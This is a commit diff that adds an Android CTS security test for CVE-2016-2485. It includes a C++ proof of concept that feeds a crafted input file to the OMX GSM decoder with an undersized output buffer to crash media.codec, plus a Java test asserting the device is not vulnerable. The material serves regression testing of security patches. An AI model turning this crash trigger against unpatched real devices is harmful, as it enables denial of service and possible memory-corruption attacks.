CTS test for Android Security b/27793367

Bug: 27793367
Bug: 72507922
Test: Ran the new testcase on android-8.0.0_r2 with/without patch

Change-Id: Ia1b619bd7e389de8a8f440060ceebcbba7304882
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 1581fbe..f0f31e5 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -66,6 +66,7 @@
         <!--__________________-->
         <!-- Bulletin 2016-06 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-2485->/data/local/tmp/CVE-2016-2485" />
         <option name="push" value="CVE-2016-2482->/data/local/tmp/CVE-2016-2482" />
 
         <!--__________________-->
diff --git a/hostsidetests/securitybulletin/res/cve_2016_2485.raw b/hostsidetests/securitybulletin/res/cve_2016_2485.raw
new file mode 100644
index 0000000..ee7c95a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2016_2485.raw
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp
new file mode 100644
index 0000000..c2b7636
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2016-2485",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    multilib: {
+        lib32: {
+            srcs: [
+                ":cts_hostsidetests_securitybulletin_omxutils",
+            ],
+            shared_libs: [
+                "libstagefright",
+                "libbinder",
+                "libmedia_omx",
+                "libutils",
+                "liblog",
+                "libstagefright_foundation",
+                "libcutils",
+                "libhidlbase",
+                "libhidlmemory",
+                "android.hidl.allocator@1.0",
+                "android.hardware.media.omx@1.0",
+            ],
+            suffix: "32",
+        },
+        lib64: {
+            suffix: "64",
+        },
+    },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp
new file mode 100644
index 0000000..75f8b82
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp
@@ -0,0 +1,183 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+#include "../includes/omxUtils.h"
+#include "hidlmemory/mapping.h"
+#include <fstream>
+
+#define FILE_SIZE UINT16_MAX + 1
+#define INPUT_BUFFER_SIZE 16380
+#define NUMBER_OF_BUFFERS 4
+#define VULNERABLE_SIZE 4
+#define SLEEP_TIME_IN_SECONDS 1
+#define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC 30
+
+extern int numCallbackEmptyBufferDone;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+                            int BufferSize) {
+  buffers->clear();
+  OMX_PARAM_PORTDEFINITIONTYPE def;
+  int err = omxUtilsGetParameter(portIndex, &def);
+  omxExitOnError(err);
+  for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+    Buffer buffer;
+    buffer.mFlags = 0;
+    bool success;
+    auto transStatus = mAllocator->allocate(
+        BufferSize, [&success, &buffer](bool s, hidl_memory const &m) {
+          success = s;
+          buffer.mHidlMemory = m;
+        });
+    omxExitOnError(!transStatus.isOk());
+    omxExitOnError(!success);
+    buffers->push(buffer);
+  }
+  return OK;
+}
+#endif /* _32_BIT */
+
+int main(int argc, char *argv[]) {
+  (void)argc;
+  (void)argv;
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+  if (argc != 2) {
+    return EXIT_FAILURE;
+  }
+  std::ifstream file(argv[1], std::ifstream::binary);
+  long size = FILE_SIZE;
+  uint8_t *buffer = new uint8_t[size];
+  if (!buffer) {
+    file.close();
+    return EXIT_FAILURE;
+  }
+  file.read((char *)buffer, size);
+
+  /* Initialize OMX for the specified codec                                 */
+  status_t ret = omxUtilsInit((char *)"OMX.google.gsm.decoder");
+  omxExitOnError(ret);
+
+  /* Set OMX input port parameters                                          */
+  OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+      sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+  if (!params) {
+    file.close();
+    delete[] buffer;
+    return EXIT_FAILURE;
+  }
+  params->nPortIndex = OMX_UTILS_IP_PORT;
+  params->nBufferSize = INPUT_BUFFER_SIZE;
+  params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
+  omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+  memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+  omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+
+  /* Prepare input port buffers                                             */
+  int inMemSize = params->nBufferCountActual * params->nBufferSize;
+  int inBufferCnt = params->nBufferCountActual;
+  int inBufferSize = inMemSize / inBufferCnt;
+  IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+  /* Set OMX output port parameters                                          */
+  omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+  params->nPortIndex = OMX_UTILS_OP_PORT;
+  params->nBufferSize = VULNERABLE_SIZE;
+  params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
+  omxUtilsSetParameter(OMX_UTILS_OP_PORT, params);
+  memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+  omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+
+  /* Prepare output port buffers                                            */
+  int outBufferCnt = params->nBufferCountActual;
+  int outBufferSize = VULNERABLE_SIZE;
+  IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+  Vector<Buffer> inputBuffers;
+  Vector<Buffer> outputBuffers;
+  /* Register input buffers with OMX component                              */
+  allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+  for (int i = 0; i < inBufferCnt; ++i) {
+    inBufferId[i] = inputBuffers[i].mID;
+    sp<android::hidl::memory::V1_0::IMemory> mem =
+        mapMemory(inputBuffers[i].mHidlMemory);
+    memcpy((void *)mem->getPointer(), (void *)(buffer + INPUT_BUFFER_SIZE * i),
+           INPUT_BUFFER_SIZE);
+    omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory,
+                      &inBufferId[i]);
+  }
+
+  /* Register output buffers with OMX component                             */
+  allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+  for (int i = 0; i < outBufferCnt; ++i) {
+    outBufferId[i] = outputBuffers[i].mID;
+    omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory,
+                      &outBufferId[i]);
+  }
+
+  /* Do OMX State change to Idle                                            */
+  omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+  /* Do OMX State change to Executing                                       */
+  omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+  for (int i = 0; i < inBufferCnt; ++i) {
+    OMXBuffer omxBuf(0, inBufferSize);
+    omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+  }
+  for (int i = 0; i < outBufferCnt; ++i) {
+    OMXBuffer omxBuf(0, outBufferSize);
+    omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+  }
+  /* Do OMX State change to Idle                                            */
+  omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+  time_t currentTime = time(NULL);
+  time_t endTime = currentTime + EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC;
+  while (currentTime < endTime) {
+    sleep(SLEEP_TIME_IN_SECONDS);
+    if (numCallbackEmptyBufferDone == inBufferCnt) {
+      break;
+    }
+    currentTime = time(NULL);
+  }
+  if (numCallbackEmptyBufferDone != inBufferCnt) {
+    free(params);
+    file.close();
+    delete[] buffer;
+    return EXIT_FAILURE;
+  }
+  /* Free input and output buffers                                          */
+  for (int i = 0; i < inBufferCnt; ++i) {
+    omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+  }
+  for (int i = 0; i < outBufferCnt; ++i) {
+    omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+  }
+
+  /* Free OMX resources                                                     */
+  omxUtilsFreeNode();
+  free(params);
+  file.close();
+  delete[] buffer;
+#endif /* _32_BIT */
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index 8e2cbca..15f7f81 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -45,6 +45,20 @@
      ******************************************************************************/
 
     /**
+     * b/27793367
+     * Vulnerability Behaviour: SIGSEGV in media.codec
+     */
+    @SecurityTest(minPatchLevel = "2016-06")
+    @Test
+    public void testPocCVE_2016_2485() throws Exception {
+        String inputFiles[] = {"cve_2016_2485.raw"};
+        String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-2485",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice(),
+                processPatternStrings);
+    }
+
+    /**
      * b/141890807
      * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */